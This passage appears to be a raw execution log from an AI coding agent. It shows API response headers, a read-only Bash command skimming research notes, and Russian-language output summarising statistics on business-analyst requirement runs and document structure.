\"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:55.172Z] [STDOUT]     \"cf-ray\": \"a42961e72c4f29ad-FRA\",\n[2026-09-29T07:47:55.174Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:47:55.177Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:55.179Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:55.183Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:55.186Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:47:54 GMT\",\n[2026-09-29T07:47:55.189Z] [STDOUT]     \"request-id\": \"req_011CfXMwmFcK3fTbTJpHJqwc\",\n[2026-09-29T07:47:55.194Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:47:55.198Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:55.202Z] [STDOUT]     traceresponse: \"00-9b44ffd04ad157c8ebf87571f760d026-95b26b82694d33ee-01\",\n[2026-09-29T07:47:55.205Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:55.207Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:47:55.210Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:55.217Z] [STDOUT]   },\n[2026-09-29T07:47:55.245Z] [STDOUT]   durationMs: 754,\n[2026-09-29T07:47:55.251Z] [STDOUT] }\n[2026-09-29T07:47:55.255Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:47:55.261Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:47:54 GMT\",\n[2026-09-29T07:47:55.266Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:47:55.269Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:47:55.273Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:47:55.280Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:47:55.285Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:47:55.290Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:47:55.293Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:47:55.296Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:47:55.302Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:47:55.305Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:47:55.310Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:47:55.322Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:47:55.347Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.37\",\n[2026-09-29T07:47:55.353Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:47:55.357Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:47:55.363Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.380Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:47:55.383Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:47:55.387Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:47:55.392Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:47:55.395Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:47:55.400Z] [STDOUT]   \"request-id\": \"req_011CfXMwmFcK3fTbTJpHJqwc\",\n[2026-09-29T07:47:55.403Z] [STDOUT]   \"traceresponse\": \"00-9b44ffd04ad157c8ebf87571f760d026-95b26b82694d33ee-01\",\n[2026-09-29T07:47:55.410Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:47:55.415Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:47:55.421Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:47:55.427Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:47:55.432Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:47:55.439Z] [STDOUT]   \"cf-ray\": \"a42961e72c4f29ad-FRA\",\n[2026-09-29T07:47:55.455Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:47:55.460Z] [STDOUT] [log_a8625a] response parsed {\n[2026-09-29T07:47:55.464Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:47:55.467Z] [STDOUT]   status: 200,\n[2026-09-29T07:47:55.469Z] [STDOUT]   body: X {\n[2026-09-29T07:47:55.472Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:47:55.474Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:47:55.480Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:47:55.485Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:47:55.495Z] [STDOUT]     },\n[2026-09-29T07:47:55.500Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:47:55.503Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:47:55.505Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:47:55.507Z] [STDOUT]   },\n[2026-09-29T07:47:55.509Z] [STDOUT]   durationMs: 756,\n[2026-09-29T07:47:55.511Z] [STDOUT] }\n[2026-09-29T07:47:56.244Z] [INFO] {\n[2026-09-29T07:47:56.244Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"message\": {\n[2026-09-29T07:47:56.244Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"id\": \"msg_011CfXMwgMRwTP3BBpNhm9TR\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:47:56.244Z] [INFO]     \"content\": [\n[2026-09-29T07:47:56.244Z] [INFO]       {\n[2026-09-29T07:47:56.244Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"id\": \"toolu_01Wbr5qtyFJdx8a5fhEczBi3\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:47:56.244Z] [INFO]         \"input\": {\n[2026-09-29T07:47:56.244Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; for f in 2026-08-25-mango-runs-empirical-snapshot.md 2026-09-08-artifact-structure-variance-facts.md 2026-09-09-legacy-normative-influence-facts.md; do echo \\\"=== $f\\\"; awk '/^## /{c++} c>=1 && c<=2' $f | head -40 | cut -c1-400; done\",\n[2026-09-29T07:47:56.244Z] [INFO]           \"description\": \"Skim key empirical facts files\"\n[2026-09-29T07:47:56.244Z] [INFO]         },\n[2026-09-29T07:47:56.244Z] [INFO]         \"caller\": {\n[2026-09-29T07:47:56.244Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:47:56.244Z] [INFO]         }\n[2026-09-29T07:47:56.244Z] [INFO]       }\n[2026-09-29T07:47:56.244Z] [INFO]     ],\n[2026-09-29T07:47:56.244Z] [INFO]     \"container\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"usage\": {\n[2026-09-29T07:47:56.244Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_creation_input_tokens\": 993,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_read_input_tokens\": 57813,\n[2026-09-29T07:47:56.244Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:47:56.244Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:47:56.244Z] [INFO]         \"ephemeral_1h_input_tokens\": 993\n[2026-09-29T07:47:56.244Z] [INFO]       },\n[2026-09-29T07:47:56.244Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:47:56.244Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:47:56.244Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:47:56.244Z] [INFO]     },\n[2026-09-29T07:47:56.244Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:47:56.244Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:47:56.244Z] [INFO]     \"context_management\": null\n[2026-09-29T07:47:56.244Z] [INFO]   },\n[2026-09-29T07:47:56.244Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:47:56.244Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"uuid\": \"396f8ad9-40de-4cfc-b17a-5f174a282cbd\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"timestamp\": \"2026-09-29T07:47:56.238Z\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"request_id\": \"req_011CfXMwfu97VZHSFVULtVRG\",\n[2026-09-29T07:47:56.244Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:47:56.244Z] [INFO]     \"toolu_01Wbr5qtyFJdx8a5fhEczBi3\": {\n[2026-09-29T07:47:56.244Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/research/ba-requirements; for f in 2026-08-25-mango-runs-empirical-snapshot.md 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history\"\n[2026-09-29T07:47:56.799Z] [INFO] }\n[2026-09-29T07:47:56.804Z] [INFO] {\n[2026-09-29T07:47:56.804Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"subtype\": \"task_progress\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"description\": \"Running Read ADR-009 gates, quick rules, ADR-011\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"usage\": {\n[2026-09-29T07:47:56.804Z] [INFO]     \"total_tokens\": 19458,\n[2026-09-29T07:47:56.804Z] [INFO]     \"tool_uses\": 31,\n[2026-09-29T07:47:56.804Z] [INFO]     \"duration_ms\": 214502\n[2026-09-29T07:47:56.804Z] [INFO]   },\n[2026-09-29T07:47:56.804Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:47:56.804Z] [INFO]   \"uuid\": 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\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `524a8eb`. \u0410\u0433\u0440\u0435\u0433\u0430\u0442\u043e\u0440:\\n[`exp/ba-requirements-normalization-539/aggregate-runs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-requirements-normalization-539/aggregate-runs.py).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e `metadata.yaml` \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430; \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439\\n\u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043d\u0451\u043c \u043d\u0435\u0442 \u2014 \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0432\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0431\u044b\u043b \u0431\u044b \u043f\u0440\u0435\u0434\u0440\u0435\u0448\u0451\u043d \u0440\u0430\u0437\u043c\u0435\u0442\u043a\u043e\u0439.\\n\\n## 2. \u0421\u043e\u0441\u0442\u0430\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n| \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | 56 |\\n| \u041f\u0435\u0440\u0438\u043e\u0434 | 2026-04-10 \u2026 2026-08-25 |\\n| `run_type` | `statistics` 47, `execution` 9 |\\n| `status` | `draft` 29, `works-with-edits` 19, `partial-success` 5, `success` 1, `needs-rework` 1, `experimental` 1 |\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0444\u0438\u043a\u0441\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 (\u043f\u0435\u0440\u0432\u044b\u0439 \u0441\u0435\u0433\u043c\u0435\u043d\u0442 \u043f\u043e\u043b\u044f `process`):\\n\\n| \u041f\u0440\u0435\u0444\u0438\u043a\u0441 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e \u043d\u0430 \u0432\u0445\u043e\u0434\u0435 |\\n| --- | --- | --- |\\n| `task-` | 32 | \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u0442\u0440\u0435\u043a\u0435\u0440\u0430/\u0447\u0430\u0442\u0430 \u2014 \u0443\u0436\u0435 \u0443\u043f\u0430\u043a\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 |\\n| `fr-` | 9 | \u0440\u0430\u0431\u043e\u0442\u0430 \u0441 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438 (\u0430\u043d\u0430\u043b\u0438\u0437, \u0434\u0440\u0430\u0444\u0442, \u0432\u0430\u043b\u0438\u0434\u0430\u0446\u0438\u044f) |\\n| `bcreq-` | 4 | \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 (business change request) |\\n| `prompt-` | 3 | \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0430\u0434 \u0441\u0430\u043c\u0438\u043c\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438, \u0430 \u043d\u0435 \u043d\u0430\u0434 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c |\\n| `tz-`, `usecase-`, `user-`, `gap-`, `kb-`, `industry-`, `session-`, `multichannel-` | \u043f\u043e 1 | \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u044b\u0435 \u0442\u0438\u043f\u044b |\\n\\n**\u041d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435.** 32 \u0438\u0437 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442\u0441\u044f \u0441 `task-`, \u0442\u043e \u0435\u0441\u0442\u044c \u0441 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u0436\u0435 \u043f\u0440\u043e\u0448\u0451\u043b \u0447\u044c\u044e-\u0442\u043e \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e. \u0418\u0441\u0445\u043e\u0434\u043d\u043e\u0435 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435\\n\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u0441\u043b\u0430\u0431\u043e (4 `bcreq-`): \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0441\u0442\u044c **\u0441\u0430\u043c\u043e\u0433\u043e \u0440\u0430\u043d\u043d\u0435\u0433\u043e** \u0443\u0447\u0430\u0441\u0442\u043a\u0430 \u0432\u0445\u043e\u0434\u0430\\n\u2014 \u043f\u0440\u043e\u0431\u0435\u043b \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430.\\n\\n=== 2026-09-08-artifact-structure-variance-facts.md\\n## 1. \u0427\u0442\u043e \u0438 \u043a\u0430\u043a \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e\\n\\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 `runs/` \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\\n[`G-Ivan-A/mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82a`. \u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c:\\n[`exp/ba-micro-structure-561/measure-artifact-structure.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-micro-structure-561/measure-artifact-structure.py).\\n\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 `##` \u043a\u0430\u0436\u0434\u043e\u0433\u043e markdown-\u0444\u0430\u0439\u043b\u0430 \u0432 `outputs/`, \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u0438\u0445 \u043a\\n\u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0435 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u0432 **\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0441\u043b\u043e\u0442\u043e\u0432** (`S-*`) \u043f\u043e\\n\u0443\u043f\u043e\u0440\u044f\u0434\u043e\u0447\u0435\u043d\u043d\u043e\u043c\u0443 \u0441\u043f\u0438\u0441\u043a\u0443 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\\n\u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043d\u043e\u0433\u043e \u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0438, \u043e\u043d \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0441\u0442\u0430\u043d\u0442\u043e\u0439\\n`SLOT_RULES` \u0432 \u0448\u0430\u043f\u043a\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c \u043f\u043e\u0441\u0442\u0440\u043e\u0447\u043d\u043e.\\n\\n\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u2192 \u0441\u043b\u043e\u0442\u00bb \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 **\u0444\u043e\u0440\u043c\u0443** \u043e\u0442 **\u0441\u043c\u044b\u0441\u043b\u0430**: \u0434\u0432\u0430\\n\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c\u0438 (`1. \u0413\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439` \u0438 `1. \u0422\u0435\u0440\u043c\u0438\u043d\u044b \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f`)\\n\u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u043e\u0434\u0438\u043d \u0441\u043b\u043e\u0442 `S-GLOSSARY`, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432, \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435\\n\u043d\u0438\u0436\u0435, \u2014 \u044d\u0442\u043e \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u043e \u0441\u043c\u044b\u0441\u043b\u0443, \u0430 \u043d\u0435 \u043f\u043e \u043e\u0440\u0444\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432.\\n\\n## 2. \u0421\u0435\u0433\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u0430 125 \u00ab\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f\u043c\u0438\u00bb \u0438 72 % \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u043e\u0432\\n\u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f. \u0420\u0430\u0437\u0431\u043e\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b \u043f\u0440\u0438\u0447\u0438\u043d\u0443: \u0432 `outputs/` \u043b\u0435\u0436\u0430\u0442 \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\\n\u0444\u0430\u0439\u043b\u043e\u0432, \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\u044b \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0442\u0443 \u0436\u0435 \u043b\u0435\u043a\u0441\u0438\u043a\u0443 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439, \u0447\u0442\u043e \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\\n\u041a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 `classify_doc_kind()` \u0440\u0430\u0437\u0434\u0435\u043b\u044f\u0435\u0442 \u0438\u0445; \u0432\u0441\u0435 \u0442\u0440\u0438 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\\n`artifact-structure.json`, \u043d\u043e \u043c\u0435\u0442\u0440\u0438\u043a\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e \u0442\u0440\u0435\u0442\u044c\u0435\u043c\u0443.\\n\\n| \u041a\u043b\u0430\u0441\u0441 | \u0424\u0430\u0439\u043b\u043e\u0432 | \u0427\u0442\u043e \u044d\u0442\u043e |\\n| --- | --- | --- |\\n| `run-journal` | 63 | \u0436\u0443\u0440\u043d\u0430\u043b \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u044d\u043f\u0438\u0437\u043e\u0434\u044b, \u0432\u0435\u0440\u0434\u0438\u043a\u0442, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u043b\u043e |\\n| `analysis-note` | 45 | \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u0430\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430, \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438, \u0440\u0430\u0437\u0431\u043e\u0440\u044b \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| `requirement-document` | 17 | **\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0438\u0440\u0443\u044e\u0449\u0438\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0411\u0410** \u2014 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u0437\u0430\u043c\u0435\u0440\u0430 |\\n\\n\u041f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u043e 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432; markdown-\u0444\u0430\u0439\u043b\u043e\u0432 \u0441 \u043b\u0435\u043a\u0441\u0438\u043a\u043e\u0439 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u2014 125.\\n\\n=== 2026-09-09-legacy-normative-influence-facts.md\\n## 1. \u0414\u0432\u0435\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0442\u0438\u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0430\\n\\n\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0432 \u0442\u0435\u043a\u0441\u0442\u0435, \u0430 \u043d\u0435 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f: \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u043d\u043e\\n\u0448\u0438\u0440\u043e\u043a\u0438\u0435 (RU + EN, \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u0448\u0438\u0431\u043a\u0430 \u0441\u043c\u0435\u0449\u0435\u043d\u0430 **\u0432 \u0441\u0442\u043e\u0440\u043e\u043d\u0443\\n\u0437\u0430\u0432\u044b\u0448\u0435\u043d\u0438\u044f** \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u043a\u043e\u0440\u043f\u0443\u0441\u0430.\\n\\n| \u041a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | \u0427\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0438\u0437 24 | \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 |\\n| --- | --- | --- | --- |\\n| `MM-1` \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u0445\u043e\u0434\u043d\u043e\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 | \u0448\u0430\u0433 \u043d\u0435 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 | **0** | 1 